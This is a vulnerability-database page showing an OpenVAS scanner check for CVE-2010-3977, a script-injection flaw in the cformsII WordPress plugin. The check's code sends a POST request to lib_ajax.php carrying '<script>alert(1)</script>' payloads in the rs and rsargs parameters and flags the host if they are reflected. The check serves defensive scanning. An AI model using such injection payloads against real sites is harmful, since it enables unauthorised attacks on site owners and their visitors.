Lucene search
+L

WordPress Plugin cformsII 'lib_ajax.php' Multiple HTML Injection Vulnerabilities

🗓️ 16 Nov 2010 00:00:00Reported by Copyright (C) 2010 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 34 Views

WordPress Plugin cformsII 'lib_ajax.php' Multiple HTML Injection Vulnerabilities. Allows execution of arbitrary code. Affected version: cforms Version 11.5 and earlier. Update to version 11.6.1 or later

Related
Refs
Code
# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.801628");
  script_version("2023-10-27T05:05:28+0000");
  script_tag(name:"last_modification", value:"2023-10-27 05:05:28 +0000 (Fri, 27 Oct 2023)");
  script_tag(name:"creation_date", value:"2010-11-16 10:37:01 +0100 (Tue, 16 Nov 2010)");
  script_cve_id("CVE-2010-3977");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_name("WordPress Plugin cformsII 'lib_ajax.php' Multiple HTML Injection Vulnerabilities");
  script_xref(name:"URL", value:"http://secunia.com/advisories/42006");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/44587");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/62938");
  script_xref(name:"URL", value:"http://www.conviso.com.br/security-advisory-cform-wordpress-plugin-v-11-cve-2010-3977/");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_wordpress_http_detect.nasl");
  script_mandatory_keys("wordpress/http/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary
  code in the context of the application.");
  script_tag(name:"affected", value:"WordPress plugin cforms Version 11.5 and earlier.");
  script_tag(name:"insight", value:"The flaws are caused by improper validation of user-supplied
  input passed via the 'rs' and 'rsargs' parameters to
  wp-content/plugins/cforms/lib_ajax.php, which allows attackers to execute
  arbitrary HTML and script code on the web server.");
  script_tag(name:"solution", value:"Update to cforms Version 11.6.1 or later.");
  script_tag(name:"summary", value:"cformsII WordPress Plugin is prone to multiple HTML injection vulnerabilities.");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_tag(name:"solution_type", value:"VendorFix");

  script_xref(name:"URL", value:"http://www.deliciousdays.com/cforms-plugin/");
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

url = dir + "/wp-content/plugins/cforms/lib_ajax.php";
useragent = http_get_user_agent();

# nb: http_host_name() should be always after the static string(s) above but always after any
# dynamically ones (e.g. a random string) which should be different for each hostname.
hostname = http_host_name(port:port);

req = string("POST ", url, " HTTP/1.1\r\n",
             "Host: ", hostname, "\r\n",
             "User-Agent: ", useragent, "\r\n",
             "Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n",
             "Content-Length: 92\r\n\r\n",
             "rs=<script>alert(1)</script>&rst=&rsrnd=1287506634854&rsargs[]=1$#",
             "$<script>alert(1)</script>\r\n");
res = http_keepalive_send_recv(port:port, data:req);

if(('<script>alert(1)</script>' >< res) &&
    egrep(pattern:"^HTTP/1\.[01] 200", string:res)) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Oct 2023 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 24.3
EPSS0.04204
34